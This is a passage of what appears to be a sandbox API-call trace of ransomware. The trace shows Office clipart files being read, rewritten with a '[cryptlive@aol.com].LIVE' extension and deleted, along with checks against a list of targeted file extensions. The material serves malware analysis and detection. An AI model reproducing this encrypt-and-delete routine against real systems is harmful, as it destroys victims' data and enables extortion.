dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.136] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.136] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.138] GetLastError () returned 0x0 [0156.138] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1984, lpOverlapped=0x0) returned 1 [0156.152] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1990, lpOverlapped=0x0) returned 1 [0156.153] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.153] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.153] SetEndOfFile (hFile=0x3a0) returned 1 [0156.153] CloseHandle (hObject=0x3a0) returned 1 [0156.153] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.153] SetEndOfFile (hFile=0x3b4) returned 1 [0156.160] CloseHandle (hObject=0x3b4) returned 1 [0156.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0156.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.186] lstrlenW (lpString=".doc") returned 4 [0156.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.186] lstrlenW (lpString=".docx") returned 5 [0156.186] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.186] lstrlenW (lpString=".pdf") returned 4 [0156.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.186] lstrlenW (lpString=".xls") returned 4 [0156.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.186] lstrlenW (lpString=".xlsx") returned 5 [0156.186] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.186] lstrlenW (lpString=".ppt") returned 4 [0156.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.186] lstrlenW (lpString=".zip") returned 4 [0156.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.186] lstrlenW (lpString=".rar") returned 4 [0156.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.186] lstrlenW (lpString=".bz2") returned 4 [0156.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.186] lstrlenW (lpString=".7z") returned 3 [0156.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.186] lstrlenW (lpString=".dbf") returned 4 [0156.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.187] lstrlenW (lpString=".1cd") returned 4 [0156.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.187] lstrlenW (lpString=".jpg") returned 4 [0156.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.187] lstrlenW (lpString=".doc") returned 4 [0156.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString=".docx") returned 5 [0156.187] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.187] lstrlenW (lpString=".pdf") returned 4 [0156.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString=".xls") returned 4 [0156.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.187] lstrlenW (lpString=".xlsx") returned 5 [0156.187] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.187] lstrlenW (lpString=".ppt") returned 4 [0156.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.187] lstrlenW (lpString=".zip") returned 4 [0156.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.187] lstrlenW (lpString=".rar") returned 4 [0156.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.187] lstrlenW (lpString=".bz2") returned 4 [0156.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.188] lstrlenW (lpString=".7z") returned 3 [0156.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.188] lstrlenW (lpString=".dbf") returned 4 [0156.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.188] lstrlenW (lpString=".1cd") returned 4 [0156.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0156.188] lstrlenW (lpString=".jpg") returned 4 [0156.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.188] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.188] lstrlenW (lpString="J0107364.WMF") returned 12 [0156.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.189] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=16588) returned 1 [0156.189] CloseHandle (hObject=0x1f8) returned 1 [0156.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0156.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.190] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.190] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.191] GetLastError () returned 0x0 [0156.191] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x40cc, lpOverlapped=0x0) returned 1 [0156.243] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x40d0, lpOverlapped=0x0) returned 1 [0156.244] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.244] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.244] SetEndOfFile (hFile=0x384) returned 1 [0156.244] CloseHandle (hObject=0x384) returned 1 [0156.244] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.245] SetEndOfFile (hFile=0x1f8) returned 1 [0156.247] CloseHandle (hObject=0x1f8) returned 1 [0156.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.249] lstrlenW (lpString=".doc") returned 4 [0156.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".docx") returned 5 [0156.249] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.249] lstrlenW (lpString=".pdf") returned 4 [0156.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".xls") returned 4 [0156.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.249] lstrlenW (lpString=".xlsx") returned 5 [0156.249] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.249] lstrlenW (lpString=".ppt") returned 4 [0156.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.249] lstrlenW (lpString=".zip") returned 4 [0156.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.249] lstrlenW (lpString=".rar") returned 4 [0156.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".bz2") returned 4 [0156.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.249] lstrlenW (lpString=".7z") returned 3 [0156.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".dbf") returned 4 [0156.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".1cd") returned 4 [0156.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".jpg") returned 4 [0156.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".doc") returned 4 [0156.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".docx") returned 5 [0156.250] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.250] lstrlenW (lpString=".pdf") returned 4 [0156.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".xls") returned 4 [0156.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.250] lstrlenW (lpString=".xlsx") returned 5 [0156.250] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.250] lstrlenW (lpString=".ppt") returned 4 [0156.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".zip") returned 4 [0156.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.250] lstrlenW (lpString=".rar") returned 4 [0156.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".bz2") returned 4 [0156.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.250] lstrlenW (lpString=".7z") returned 3 [0156.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.250] lstrlenW (lpString=".dbf") returned 4 [0156.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.251] lstrlenW (lpString=".1cd") returned 4 [0156.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0156.251] lstrlenW (lpString=".jpg") returned 4 [0156.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.251] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.251] lstrlenW (lpString="J0107446.WMF") returned 12 [0156.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.252] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=30336) returned 1 [0156.252] CloseHandle (hObject=0x1f8) returned 1 [0156.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0156.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.252] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.253] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.253] GetLastError () returned 0x0 [0156.253] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x7680, lpOverlapped=0x0) returned 1 [0156.521] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7690, lpOverlapped=0x0) returned 1 [0156.522] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.522] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.523] SetEndOfFile (hFile=0x384) returned 1 [0156.523] CloseHandle (hObject=0x384) returned 1 [0156.523] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.523] SetEndOfFile (hFile=0x1f8) returned 1 [0156.525] CloseHandle (hObject=0x1f8) returned 1 [0156.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString=".doc") returned 4 [0156.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString=".docx") returned 5 [0156.548] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.548] lstrlenW (lpString=".pdf") returned 4 [0156.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString=".xls") returned 4 [0156.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.548] lstrlenW (lpString=".xlsx") returned 5 [0156.548] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.548] lstrlenW (lpString=".ppt") returned 4 [0156.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString=".zip") returned 4 [0156.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.548] lstrlenW (lpString=".rar") returned 4 [0156.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString=".bz2") returned 4 [0156.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString=".7z") returned 3 [0156.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString=".dbf") returned 4 [0156.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString=".1cd") returned 4 [0156.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.548] lstrlenW (lpString=".jpg") returned 4 [0156.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString=".doc") returned 4 [0156.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString=".docx") returned 5 [0156.549] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.549] lstrlenW (lpString=".pdf") returned 4 [0156.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString=".xls") returned 4 [0156.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.549] lstrlenW (lpString=".xlsx") returned 5 [0156.549] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.549] lstrlenW (lpString=".ppt") returned 4 [0156.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString=".zip") returned 4 [0156.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.549] lstrlenW (lpString=".rar") returned 4 [0156.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString=".bz2") returned 4 [0156.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString=".7z") returned 3 [0156.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString=".dbf") returned 4 [0156.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString=".1cd") returned 4 [0156.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0156.549] lstrlenW (lpString=".jpg") returned 4 [0156.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.550] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.550] lstrlenW (lpString="J0107484.WMF") returned 12 [0156.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.604] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3040) returned 1 [0156.604] CloseHandle (hObject=0x350) returned 1 [0156.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0156.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.604] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.604] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[cryptlive@aol.com].live"), 